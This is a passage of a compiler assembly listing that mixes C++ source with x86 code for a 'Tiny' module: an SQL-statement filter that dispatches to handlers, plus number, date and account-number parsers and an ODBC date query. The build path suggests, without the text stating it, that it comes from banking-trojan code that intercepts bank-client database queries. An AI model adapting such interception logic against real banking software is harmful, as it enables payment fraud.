  0002e	3b c7		 cmp	 eax, edi
  00030	74 4e		 je	 SHORT $LN27@ExecSQLFil
; 719  : 		{
; 720  : 			int j = 0;
; 721  : 			const WCHAR* p = newSQL;
  00032	8b 4d 08	 mov	 ecx, DWORD PTR _newSQL$[ebp]
  00035	33 db		 xor	 ebx, ebx
  00037	89 4d f8	 mov	 DWORD PTR _p$100201[ebp], ecx
; 722  : 			while( filtersSQL[i].and[j] )
  0003a	66 39 38	 cmp	 WORD PTR [eax], di
  0003d	74 41		 je	 SHORT $LN27@ExecSQLFil
$LL11@ExecSQLFil:
; 723  : 			{
; 724  : 				int l = m_wcslen( &filtersSQL[i].and[j] ); //
  0003f	03 c7		 add	 eax, edi
  00041	50		 push	 eax
  00042	e8 00 00 00 00	 call	 ?m_wcslen@@YGKPB_W@Z	; m_wcslen
  00047	89 45 f0	 mov	 DWORD PTR _l$100205[ebp], eax
; 725  : 				p = m_wcsstr( p, &filtersSQL[i].and[j] ); //
  0004a	8b 86 00 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi]
  00050	03 c7		 add	 eax, edi
  00052	50		 push	 eax
  00053	ff 75 f8	 push	 DWORD PTR _p$100201[ebp]
  00056	e8 00 00 00 00	 call	 ?m_wcsstr@@YGPB_WPB_W0@Z ; m_wcsstr
; 726  : 				if( p == 0 ) //
  0005b	85 c0		 test	 eax, eax
  0005d	0f 84 87 00 00
	00		 je	 $LN29@ExecSQLFil
; 727  : 				{
; 728  : 					ok = false;
; 729  : 					break;
; 730  : 				}
; 731  : 				p += l;
  00063	8b 4d f0	 mov	 ecx, DWORD PTR _l$100205[ebp]
  00066	8d 04 48	 lea	 eax, DWORD PTR [eax+ecx*2]
; 732  : 				j += l + 1; //
  00069	8d 5c 0b 01	 lea	 ebx, DWORD PTR [ebx+ecx+1]
  0006d	89 45 f8	 mov	 DWORD PTR _p$100201[ebp], eax
  00070	8b 86 00 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi]
  00076	8d 3c 1b	 lea	 edi, DWORD PTR [ebx+ebx]
  00079	66 83 3c 07 00	 cmp	 WORD PTR [edi+eax], 0
  0007e	75 bf		 jne	 SHORT $LL11@ExecSQLFil
$LN27@ExecSQLFil:
; 733  : 			}
; 734  : 		}
; 735  : 		if( ok && filtersSQL[i].not ) //
  00080	8b 86 04 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi+4]
  00086	33 ff		 xor	 edi, edi
  00088	3b c7		 cmp	 eax, edi
  0008a	74 3e		 je	 SHORT $LN28@ExecSQLFil
; 736  : 		{
; 737  : 			int j = 0;
  0008c	33 db		 xor	 ebx, ebx
; 738  : 			while( filtersSQL[i].not[j] )
  0008e	66 39 38	 cmp	 WORD PTR [eax], di
  00091	74 37		 je	 SHORT $LN28@ExecSQLFil
$LL7@ExecSQLFil:
; 739  : 			{
; 740  : 				int l = m_wcslen( &filtersSQL[i].not[j] );
  00093	03 c7		 add	 eax, edi
  00095	50		 push	 eax
  00096	e8 00 00 00 00	 call	 ?m_wcslen@@YGKPB_W@Z	; m_wcslen
  0009b	89 45 f0	 mov	 DWORD PTR _l$100212[ebp], eax
; 741  : 				const WCHAR* p = m_wcsstr( newSQL, &filtersSQL[i].not[j] );
  0009e	8b 86 04 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi+4]
  000a4	03 c7		 add	 eax, edi
  000a6	50		 push	 eax
  000a7	ff 75 08	 push	 DWORD PTR _newSQL$[ebp]
  000aa	e8 00 00 00 00	 call	 ?m_wcsstr@@YGPB_WPB_W0@Z ; m_wcsstr
; 742  : 				if( p ) //
  000af	85 c0		 test	 eax, eax
  000b1	75 37		 jne	 SHORT $LN29@ExecSQLFil
; 743  : 				{
; 744  : 					ok = false;
; 745  : 					break;
; 746  : 				}
; 747  : 				j += l + 1;
  000b3	8b 45 f0	 mov	 eax, DWORD PTR _l$100212[ebp]
  000b6	8d 5c 03 01	 lea	 ebx, DWORD PTR [ebx+eax+1]
  000ba	8b 86 04 00 00
	00		 mov	 eax, DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi+4]
  000c0	8d 3c 1b	 lea	 edi, DWORD PTR [ebx+ebx]
  000c3	66 83 3c 07 00	 cmp	 WORD PTR [edi+eax], 0
  000c8	75 c9		 jne	 SHORT $LL7@ExecSQLFil
$LN28@ExecSQLFil:
; 748  : 			}
; 749  : 		}
; 750  : 		if( ok ) //
; 751  : 		{
; 752  : 			int len = m_wcslen(newSQL);
  000ca	ff 75 08	 push	 DWORD PTR _newSQL$[ebp]
  000cd	e8 00 00 00 00	 call	 ?m_wcslen@@YGKPB_W@Z	; m_wcslen
; 753  : 			int res = filtersSQL[i].func( newSQL, len );
  000d2	50		 push	 eax
  000d3	ff 75 08	 push	 DWORD PTR _newSQL$[ebp]
  000d6	ff 96 08 00 00
	00		 call	 DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi+8]
  000dc	59		 pop	 ecx
  000dd	59		 pop	 ecx
; 754  : 			if( res == 1 ) //
  000de	33 c9		 xor	 ecx, ecx
  000e0	41		 inc	 ecx
  000e1	3b c1		 cmp	 eax, ecx
  000e3	74 21		 je	 SHORT $LN33@ExecSQLFil
; 755  : 			{
; 756  : 				break;
; 757  : 			}
; 758  : 			else
; 759  : 				if( res == 2 ) //
  000e5	83 f8 02	 cmp	 eax, 2
  000e8	74 19		 je	 SHORT $LN23@ExecSQLFil
$LN29@ExecSQLFil:
; 762  : 					break;
; 763  : 				}
; 764  : 			//
 res == 0, 
; 765  : 		}
; 766  : 		i++;
  000ea	ff 45 fc	 inc	 DWORD PTR _i$[ebp]
  000ed	8b 75 fc	 mov	 esi, DWORD PTR _i$[ebp]
  000f0	6b f6 0c	 imul	 esi, 12			; 0000000cH
  000f3	33 ff		 xor	 edi, edi
  000f5	39 be 08 00 00
	00		 cmp	 DWORD PTR ?filtersSQL@Tiny@@3PAUFilterSQLFunc@1@A[esi+8], edi
  000fb	0f 85 27 ff ff
	ff		 jne	 $LL14@ExecSQLFil
; 755  : 			{
; 756  : 				break;
; 757  : 			}
; 758  : 			else
; 759  : 				if( res == 2 ) //
  00101	eb 03		 jmp	 SHORT $LN33@ExecSQLFil
$LN23@ExecSQLFil:
; 760  : 				{
; 761  : 					ret = 1;
  00103	89 4d f4	 mov	 DWORD PTR _ret$[ebp], ecx
$LN33@ExecSQLFil:
  00106	5b		 pop	 ebx
  00107	5e		 pop	 esi
$LN13@ExecSQLFil:
; 767  : 	}
; 768  : 	return ret;
  00108	8b 45 f4	 mov	 eax, DWORD PTR _ret$[ebp]
  0010b	5f		 pop	 edi
; 769  : }
  0010c	c9		 leave
  0010d	c3		 ret	 0
?ExecSQLFilter@Tiny@@YAHPA_W@Z ENDP			; Tiny::ExecSQLFilter
_TEXT	ENDS
EXTRN	__allmul:PROC
; Function compile flags: /Ogspy
;	COMDAT ?SumToInt@Tiny@@YA_JPBDPAH@Z
_TEXT	SEGMENT
_p$ = -16						; size = 4
tv168 = -12						; size = 4
tv170 = -8						; size = 4
_kop$ = -4						; size = 4
_len$ = 8						; size = 4
?SumToInt@Tiny@@YA_JPBDPAH@Z PROC			; Tiny::SumToInt, COMDAT
; _s$ = eax
; 1127 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 10	 sub	 esp, 16			; 00000010H
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
  00009	8b f0		 mov	 esi, eax
; 1128 : 	__int64 v = 0;
  0000b	33 ff		 xor	 edi, edi
  0000d	33 c9		 xor	 ecx, ecx
  0000f	33 db		 xor	 ebx, ebx
; 1129 : 	int kop = -1; //
  00011	83 4d fc ff	 or	 DWORD PTR _kop$[ebp], -1
; 1130 : 	const char* p = s;
  00015	89 75 f0	 mov	 DWORD PTR _p$[ebp], esi
  00018	eb 01		 jmp	 SHORT $LN28@SumToInt
$LL14@SumToInt:
; 1131 : 	while( *s == ' ' ) s++;
  0001a	46		 inc	 esi
$LN28@SumToInt:
  0001b	80 3e 20	 cmp	 BYTE PTR [esi], 32	; 00000020H
  0001e	74 fa		 je	 SHORT $LL14@SumToInt
$LL12@SumToInt:
; 1132 : 	while( (*s >= '0' && *s <= '9') || *s == '.'  )
  00020	8a 06		 mov	 al, BYTE PTR [esi]
  00022	3c 30		 cmp	 al, 48			; 00000030H
  00024	7c 04		 jl	 SHORT $LN9@SumToInt
  00026	3c 39		 cmp	 al, 57			; 00000039H
  00028	7e 04		 jle	 SHORT $LN25@SumToInt
$LN9@SumToInt:
  0002a	3c 2e		 cmp	 al, 46			; 0000002eH
  0002c	75 39		 jne	 SHORT $LN11@SumToInt
$LN25@SumToInt:
; 1133 : 	{
; 1134 : 	    if( *s == '.' ) 
  0002e	3c 2e		 cmp	 al, 46			; 0000002eH
  00030	75 05		 jne	 SHORT $LN8@SumToInt
; 1135 : 	    	kop = 0;
  00032	89 7d fc	 mov	 DWORD PTR _kop$[ebp], edi
; 1136 : 	    else
  00035	eb 2d		 jmp	 SHORT $LN24@SumToInt
$LN8@SumToInt:
; 1137 : 	    {
; 1138 : 			v = v * 10 + (*s - '0');
  00037	0f be c0	 movsx	 eax, al
  0003a	57		 push	 edi
  0003b	6a 0a		 push	 10			; 0000000aH
  0003d	83 e8 30	 sub	 eax, 48			; 00000030H
  00040	99		 cdq
  00041	53		 push	 ebx
  00042	51		 push	 ecx
  00043	89 45 f8	 mov	 DWORD PTR tv170[ebp], eax
  00046	89 55 f4	 mov	 DWORD PTR tv168[ebp], edx
  00049	e8 00 00 00 00	 call	 __allmul
  0004e	8b 4d f8	 mov	 ecx, DWORD PTR tv170[ebp]
  00051	03 c8		 add	 ecx, eax
  00053	8b 45 f4	 mov	 eax, DWORD PTR tv168[ebp]
  00056	13 c2		 adc	 eax, edx
; 1139 : 			if( kop >= 0 ) kop++;
  00058	33 ff		 xor	 edi, edi
  0005a	39 7d fc	 cmp	 DWORD PTR _kop$[ebp], edi
  0005d	8b d8		 mov	 ebx, eax
  0005f	7c 03		 jl	 SHORT $LN24@SumToInt
  00061	ff 45 fc	 inc	 DWORD PTR _kop$[ebp]
$LN24@SumToInt:
; 1140 : 		}
; 1141 : 		s++;
  00064	46		 inc	 esi
; 1142 : 	}
  00065	eb b9		 jmp	 SHORT $LL12@SumToInt
$LN11@SumToInt:
; 1143 : 	//
; 1144 : 	if( kop < 0 ) kop = 0;
  00067	39 7d fc	 cmp	 DWORD PTR _kop$[ebp], edi
  0006a	7d 03		 jge	 SHORT $LN5@SumToInt
  0006c	89 7d fc	 mov	 DWORD PTR _kop$[ebp], edi
$LN5@SumToInt:
; 1145 : 	for( int i = kop; i < 2; i++ ) v *= 10; 
  0006f	6a 02		 push	 2
  00071	5f		 pop	 edi
  00072	39 7d fc	 cmp	 DWORD PTR _kop$[ebp], edi
  00075	7d 15		 jge	 SHORT $LN2@SumToInt
  00077	2b 7d fc	 sub	 edi, DWORD PTR _kop$[ebp]
$LL4@SumToInt:
  0007a	6a 00		 push	 0
  0007c	6a 0a		 push	 10			; 0000000aH
  0007e	53		 push	 ebx
  0007f	51		 push	 ecx
  00080	e8 00 00 00 00	 call	 __allmul
  00085	4f		 dec	 edi
  00086	8b c8		 mov	 ecx, eax
  00088	8b da		 mov	 ebx, edx
  0008a	75 ee		 jne	 SHORT $LL4@SumToInt
$LN2@SumToInt:
; 1146 : 	if( len ) *len = s - p;
  0008c	8b 45 08	 mov	 eax, DWORD PTR _len$[ebp]
  0008f	85 c0		 test	 eax, eax
  00091	74 05		 je	 SHORT $LN1@SumToInt
  00093	2b 75 f0	 sub	 esi, DWORD PTR _p$[ebp]
  00096	89 30		 mov	 DWORD PTR [eax], esi
$LN1@SumToInt:
  00098	5f		 pop	 edi
  00099	5e		 pop	 esi
; 1147 : 	return v;
  0009a	8b d3		 mov	 edx, ebx
  0009c	8b c1		 mov	 eax, ecx
  0009e	5b		 pop	 ebx
; 1148 : }
  0009f	c9		 leave
  000a0	c3		 ret	 0
?SumToInt@Tiny@@YA_JPBDPAH@Z ENDP			; Tiny::SumToInt
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?ValueToInt@Tiny@@YAHPBDPAH@Z
_TEXT	SEGMENT
?ValueToInt@Tiny@@YAHPBDPAH@Z PROC			; Tiny::ValueToInt, COMDAT
; _s$ = ecx
; _len$ = esi
; 1152 : {
  00000	57		 push	 edi
; 1153 : 	int v = 0;
  00001	33 c0		 xor	 eax, eax
; 1154 : 	const char* p = s;
  00003	8b f9		 mov	 edi, ecx
  00005	eb 01		 jmp	 SHORT $LN12@ValueToInt
$LL5@ValueToInt:
; 1155 : 	while( *s == ' ' ) s++;
  00007	41		 inc	 ecx
$LN12@ValueToInt:
  00008	80 39 20	 cmp	 BYTE PTR [ecx], 32	; 00000020H
  0000b	74 fa		 je	 SHORT $LL5@ValueToInt
; 1156 : 	while( *s >= '0' && *s <= '9' )
  0000d	eb 10		 jmp	 SHORT $LN14@ValueToInt
$LL3@ValueToInt:
  0000f	80 fa 39	 cmp	 dl, 57			; 00000039H
  00012	7f 12		 jg	 SHORT $LN2@ValueToInt
; 1157 : 	{
; 1158 : 		v = v * 10 + (*s - '0');
  00014	6b c0 0a	 imul	 eax, 10			; 0000000aH
  00017	0f be d2	 movsx	 edx, dl
  0001a	8d 44 10 d0	 lea	 eax, DWORD PTR [eax+edx-48]
; 1159 : 		s++;
  0001e	41		 inc	 ecx
$LN14@ValueToInt:
  0001f	8a 11		 mov	 dl, BYTE PTR [ecx]
  00021	80 fa 30	 cmp	 dl, 48			; 00000030H
  00024	7d e9		 jge	 SHORT $LL3@ValueToInt
$LN2@ValueToInt:
; 1160 : 	}
; 1161 : 	if( len ) *len = s - p;
  00026	85 f6		 test	 esi, esi
  00028	74 04		 je	 SHORT $LN1@ValueToInt
  0002a	2b cf		 sub	 ecx, edi
  0002c	89 0e		 mov	 DWORD PTR [esi], ecx
$LN1@ValueToInt:
  0002e	5f		 pop	 edi
; 1162 : 	return v;
; 1163 : }
  0002f	c3		 ret	 0
?ValueToInt@Tiny@@YAHPBDPAH@Z ENDP			; Tiny::ValueToInt
_TEXT	ENDS
EXTRN	?m_memset@@YAXPBXEI@Z:PROC			; m_memset
; Function compile flags: /Ogspy
;	COMDAT ?ReadDate@Tiny@@YAHPBDPAUtagTIMESTAMP_STRUCT@@@Z
_TEXT	SEGMENT
_p$ = -8						; size = 4
_len$ = -4						; size = 4
?ReadDate@Tiny@@YAHPBDPAUtagTIMESTAMP_STRUCT@@@Z PROC	; Tiny::ReadDate, COMDAT
; _s$ = eax
; _date$ = ebx
; 1167 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
  00004	51		 push	 ecx
  00005	56		 push	 esi
  00006	57		 push	 edi
; 1168 : 	m_memset( date, 0, sizeof(TIMESTAMP_STRUCT) );
  00007	6a 10		 push	 16			; 00000010H
  00009	6a 00		 push	 0
  0000b	53		 push	 ebx
  0000c	8b f8		 mov	 edi, eax
  0000e	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
  00013	83 c4 0c	 add	 esp, 12			; 0000000cH
; 1169 : 	const char* p = s;
  00016	89 7d f8	 mov	 DWORD PTR _p$[ebp], edi
  00019	eb 01		 jmp	 SHORT $LN19@ReadDate
$LL12@ReadDate:
; 1170 : 	while( *s == ' ' ) s++;
  0001b	47		 inc	 edi
$LN19@ReadDate:
  0001c	80 3f 20	 cmp	 BYTE PTR [edi], 32	; 00000020H
  0001f	74 fa		 je	 SHORT $LL12@ReadDate
; 1171 : 	int len;
; 1172 : 	do
; 1173 : 	{
; 1174 : 		date->day = ValueToInt( s, &len ); s += len;
  00021	8d 75 fc	 lea	 esi, DWORD PTR _len$[ebp]
  00024	8b cf		 mov	 ecx, edi
  00026	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  0002b	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  0002e	66 89 43 04	 mov	 WORD PTR [ebx+4], ax
; 1175 : 		if( *s != '.' ) break;
  00032	80 3f 2e	 cmp	 BYTE PTR [edi], 46	; 0000002eH
  00035	75 66		 jne	 SHORT $LN8@ReadDate
; 1176 : 		s++;
  00037	47		 inc	 edi
; 1177 : 		date->month = ValueToInt( s, &len ); s += len;
  00038	8b cf		 mov	 ecx, edi
  0003a	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  0003f	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  00042	66 89 43 02	 mov	 WORD PTR [ebx+2], ax
; 1178 : 		if( *s != '.' ) break;
  00046	80 3f 2e	 cmp	 BYTE PTR [edi], 46	; 0000002eH
  00049	75 52		 jne	 SHORT $LN8@ReadDate
; 1179 : 		s++;
  0004b	47		 inc	 edi
; 1180 : 		date->year = ValueToInt( s, &len ); s += len;
  0004c	8b cf		 mov	 ecx, edi
  0004e	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  00053	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  00056	66 89 03	 mov	 WORD PTR [ebx], ax
; 1181 : 		if( *s != ' ' ) break;
  00059	80 3f 20	 cmp	 BYTE PTR [edi], 32	; 00000020H
  0005c	75 3f		 jne	 SHORT $LN8@ReadDate
$LL4@ReadDate:
; 1182 : 		while( *s == ' ' ) s++;
  0005e	47		 inc	 edi
  0005f	80 3f 20	 cmp	 BYTE PTR [edi], 32	; 00000020H
  00062	74 fa		 je	 SHORT $LL4@ReadDate
; 1183 : 		date->hour = ValueToInt( s, &len ); s += len;
  00064	8d 75 fc	 lea	 esi, DWORD PTR _len$[ebp]
  00067	8b cf		 mov	 ecx, edi
  00069	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  0006e	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  00071	66 89 43 06	 mov	 WORD PTR [ebx+6], ax
; 1184 : 		if( *s != ':' ) break;
  00075	80 3f 3a	 cmp	 BYTE PTR [edi], 58	; 0000003aH
  00078	75 23		 jne	 SHORT $LN8@ReadDate
; 1185 : 		s++;
  0007a	47		 inc	 edi
; 1186 : 		date->minute = ValueToInt( s, &len ); s += len;
  0007b	8b cf		 mov	 ecx, edi
  0007d	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  00082	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  00085	66 89 43 08	 mov	 WORD PTR [ebx+8], ax
; 1187 : 		if( *s != ':' ) break;
  00089	80 3f 3a	 cmp	 BYTE PTR [edi], 58	; 0000003aH
  0008c	75 0f		 jne	 SHORT $LN8@ReadDate
; 1188 : 		s++;
  0008e	47		 inc	 edi
; 1189 : 		date->second = ValueToInt( s, &len ); s += len;
  0008f	8b cf		 mov	 ecx, edi
  00091	e8 00 00 00 00	 call	 ?ValueToInt@Tiny@@YAHPBDPAH@Z ; Tiny::ValueToInt
  00096	03 7d fc	 add	 edi, DWORD PTR _len$[ebp]
  00099	66 89 43 0a	 mov	 WORD PTR [ebx+10], ax
$LN8@ReadDate:
; 1190 : 	} while(0);
; 1191 : 	return s - p;
  0009d	8b c7		 mov	 eax, edi
  0009f	2b 45 f8	 sub	 eax, DWORD PTR _p$[ebp]
  000a2	5f		 pop	 edi
  000a3	5e		 pop	 esi
; 1192 : }
  000a4	c9		 leave
  000a5	c3		 ret	 0
?ReadDate@Tiny@@YAHPBDPAUtagTIMESTAMP_STRUCT@@@Z ENDP	; Tiny::ReadDate
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?ReadString@Tiny@@YAHPBDPAD@Z
_TEXT	SEGMENT
?ReadString@Tiny@@YAHPBDPAD@Z PROC			; Tiny::ReadString, COMDAT
; _s$ = eax
; _buf$ = edx
; 1195 : {
  00000	56		 push	 esi
; 1196 : 	const char* p = s;
  00001	8b f0		 mov	 esi, eax
  00003	eb 01		 jmp	 SHORT $LN11@ReadString
$LL4@ReadString:
; 1197 : 	while( *s == ' ' ) s++;
  00005	40		 inc	 eax
$LN11@ReadString:
  00006	80 38 20	 cmp	 BYTE PTR [eax], 32	; 00000020H
  00009	74 fa		 je	 SHORT $LL4@ReadString
; 1198 : 	while( *s && *s != ' ' ) *buf++ = *s++;
  0000b	eb 09		 jmp	 SHORT $LN13@ReadString
$LL2@ReadString:
  0000d	80 f9 20	 cmp	 cl, 32			; 00000020H
  00010	74 0a		 je	 SHORT $LN1@ReadString
  00012	88 0a		 mov	 BYTE PTR [edx], cl
  00014	42		 inc	 edx
  00015	40		 inc	 eax
$LN13@ReadString:
  00016	8a 08		 mov	 cl, BYTE PTR [eax]
  00018	84 c9		 test	 cl, cl
  0001a	75 f1		 jne	 SHORT $LL2@ReadString
$LN1@ReadString:
; 1199 : 	*buf = 0;
; 1200 : 	return s - p;
  0001c	2b c6		 sub	 eax, esi
  0001e	c6 02 00	 mov	 BYTE PTR [edx], 0
  00021	5e		 pop	 esi
; 1201 : }
  00022	c3		 ret	 0
?ReadString@Tiny@@YAHPBDPAD@Z ENDP			; Tiny::ReadString
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?AccountToNormal@Tiny@@YAPADPBDPAD@Z
_TEXT	SEGMENT
_to$ = 8						; size = 4
?AccountToNormal@Tiny@@YAPADPBDPAD@Z PROC		; Tiny::AccountToNormal, COMDAT
; _from$ = ecx
; 1206 : 	int space = 0;
; 1207 : 	const char* p = from;
; 1208 : 	char* t = to;
  00000	8b 54 24 04	 mov	 edx, DWORD PTR _to$[esp-4]
  00004	53		 push	 ebx
  00005	56		 push	 esi
  00006	33 c0		 xor	 eax, eax
  00008	33 f6		 xor	 esi, esi
; 1209 : 	while( *p && *p != '.' )
  0000a	38 01		 cmp	 BYTE PTR [ecx], al
  0000c	74 38		 je	 SHORT $LN12@AccountToN
  0000e	57		 push	 edi
  0000f	33 ff		 xor	 edi, edi
$LL8@AccountToN:
  00011	8a 19		 mov	 bl, BYTE PTR [ecx]
  00013	80 fb 2e	 cmp	 bl, 46			; 0000002eH
  00016	74 18		 je	 SHORT $LN7@AccountToN
; 1210 : 	{
; 1211 : 		if( *p == ' ' )
  00018	80 fb 20	 cmp	 bl, 32			; 00000020H
  0001b	75 0a		 jne	 SHORT $LN6@AccountToN
; 1212 : 		{
; 1213 : 			if( space == 0 ) 
  0001d	3b f0		 cmp	 esi, eax
  0001f	75 09		 jne	 SHORT $LN4@AccountToN
; 1214 : 			{
; 1215 : 				space = p - from;
  00021	8b f7		 mov	 esi, edi
; 1216 : 				*t++ = *p;
  00023	88 1a		 mov	 BYTE PTR [edx], bl
; 1217 : 			}
; 1218 : 		}
; 1219 : 		else
  00025	eb 02		 jmp	 SHORT $LN16@AccountToN
$LN6@AccountToN:
; 1220 : 			*t++ = *p;
  00027	88 1a		 mov	 BYTE PTR [edx], bl
$LN16@AccountToN:
  00029	42		 inc	 edx
$LN4@AccountToN:
; 1221 : 		p++;
  0002a	41		 inc	 ecx
  0002b	47		 inc	 edi
  0002c	38 01		 cmp	 BYTE PTR [ecx], al
  0002e	75 e1		 jne	 SHORT $LL8@AccountToN
$LN7@AccountToN:
; 1222 : 	}
; 1223 : 	if( space > 0 )
  00030	3b f0		 cmp	 esi, eax
  00032	7e 0b		 jle	 SHORT $LN15@AccountToN
; 1224 : 	{
; 1225 : 		to[space] = p[-1];
  00034	8a 59 ff	 mov	 bl, BYTE PTR [ecx-1]
  00037	8b 7c 24 10	 mov	 edi, DWORD PTR _to$[esp+8]
  0003b	88 1c 3e	 mov	 BYTE PTR [esi+edi], bl
; 1226 : 		t--;
  0003e	4a		 dec	 edx
$LN15@AccountToN:
  0003f	5f		 pop	 edi
; 1227 : 	}
; 1228 : 	while( *p ) *t++ = *p++;
  00040	eb 04		 jmp	 SHORT $LN12@AccountToN
$LL2@AccountToN:
  00042	88 1a		 mov	 BYTE PTR [edx], bl
  00044	42		 inc	 edx
  00045	41		 inc	 ecx
$LN12@AccountToN:
  00046	8a 19		 mov	 bl, BYTE PTR [ecx]
  00048	3a d8		 cmp	 bl, al
  0004a	75 f6		 jne	 SHORT $LL2@AccountToN
  0004c	5e		 pop	 esi
; 1229 : 	*t = 0;
  0004d	88 02		 mov	 BYTE PTR [edx], al
; 1230 : 	return to;
  0004f	8b 44 24 08	 mov	 eax, DWORD PTR _to$[esp]
  00053	5b		 pop	 ebx
; 1231 : }
  00054	c3		 ret	 0
?AccountToNormal@Tiny@@YAPADPBDPAD@Z ENDP		; Tiny::AccountToNormal
_TEXT	ENDS
PUBLIC	??_C@_0BJ@BGGAPNLI@select?5CLng?$CI?$DP?$CJ?5as?5MyDate?$AA@ ; `string'
PUBLIC	??_C@_05DKBCLFAM@it?5oi?$AA@			; `string'
EXTRN	?CloseQuery@ODBC@@QAEXPAX@Z:PROC		; ODBC::CloseQuery
EXTRN	?ExecuteSql@ODBC@@QAAPAXPBD0ZZ:PROC		; ODBC::ExecuteSql
;	COMDAT ??_C@_0BJ@BGGAPNLI@select?5CLng?$CI?$DP?$CJ?5as?5MyDate?$AA@
CONST	SEGMENT
??_C@_0BJ@BGGAPNLI@select?5CLng?$CI?$DP?$CJ?5as?5MyDate?$AA@ DB 'select C'
	DB	'Lng(?) as MyDate', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_05DKBCLFAM@it?5oi?$AA@
CONST	SEGMENT
??_C@_05DKBCLFAM@it?5oi?$AA@ DB 'it oi', 00H		; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?ConvertDate@Tiny@@YAHPAVODBC@@PAUtagTIMESTAMP_STRUCT@@@Z
_TEXT	SEGMENT
_MyDate$ = -4						; size = 4
_DB$ = 8						; size = 4
_date$ = 12						; size = 4
?ConvertDate@Tiny@@YAHPAVODBC@@PAUtagTIMESTAMP_STRUCT@@@Z PROC ; Tiny::ConvertDate, COMDAT
; 1344 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 1345 : 	DWORD MyDate;
; 1346 : 	SQLHSTMT qr = DB->ExecuteSql( "select CLng(?) as MyDate", "it oi", date, &MyDate );
  00004	8d 45 fc	 lea	 eax, DWORD PTR _MyDate$[ebp]
  00007	50		 push	 eax
  00008	ff 75 0c	 push	 DWORD PTR _date$[ebp]
  0000b	68 00 00 00 00	 push	 OFFSET ??_C@_05DKBCLFAM@it?5oi?$AA@
  00010	68 00 00 00 00	 push	 OFFSET ??_C@_0BJ@BGGAPNLI@select?5CLng?$CI?$DP?$CJ?5as?5MyDate?$AA@
  00015	ff 75 08	 push	 DWORD PTR _DB$[ebp]
  00018	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
; 1347 : 	DB->CloseQuery(qr);
  0001d	8b 4d 08	 mov	 ecx, DWORD PTR _DB$[ebp]
  00020	83 c4 14	 add	 esp, 20			; 00000014H
  00023	50		 push	 eax
  00024	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1348 : 	MyDate -= 2;
  00029	8b 45 fc	 mov	 eax, DWORD PTR _MyDate$[ebp]
  0002c	48		 dec	 eax
  0002d	48		 dec	 eax
; 1349 : 	return MyDate;
; 1350 : }
  0002e	c9		 leave
  0002f	c3		 ret	 0
?ConvertDate@Tiny@@YAHPAVODBC@@PAUtagTIMESTAMP_STRUCT@@@Z ENDP ; Tiny::ConvertDate
_TEXT	ENDS
PUBLIC	??_C@_11LOCGONAA@?$AA?$AA@			; `string'
PUBLIC	?t_str@?$TString@D@@QBEPADXZ			; TString<char>::t_str
;	COMDAT ??_C@_11LOCGONAA@?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?t_str@?$TString@D@@QBEPADXZ
_TEXT	SEGMENT
?t_str@?$TString@D@@QBEPADXZ PROC			; TString<char>::t_str, COMDAT
; _this$ = ecx
; 701  : 	// 
; 702  : 	// 
; 703  : 	// 
; 704  : 	return (Data)? Data : (TChar*)L"";
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	85 c0		 test	 eax, eax
  00005	75 05		 jne	 SHORT $LN4@t_str
  00007	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN4@t_str:
; 705  : }
  0000c	c3		 ret	 0
?t_str@?$TString@D@@QBEPADXZ ENDP			; TString<char>::t_str
_TEXT	ENDS
PUBLIC	??$DBGOutMessage@PBDPBDPAD@TINYCLIENT@@YAXPBD0PAD@Z ; TINYCLIENT::DBGOutMessage<char const *,char const *,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
;	COMDAT ??$DBGOutMessage@PBDPBDPAD@TINYCLIENT@@YAXPBD0PAD@Z
_TEXT	SEGMENT
_Module$ = 8						; size = 4
_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 4
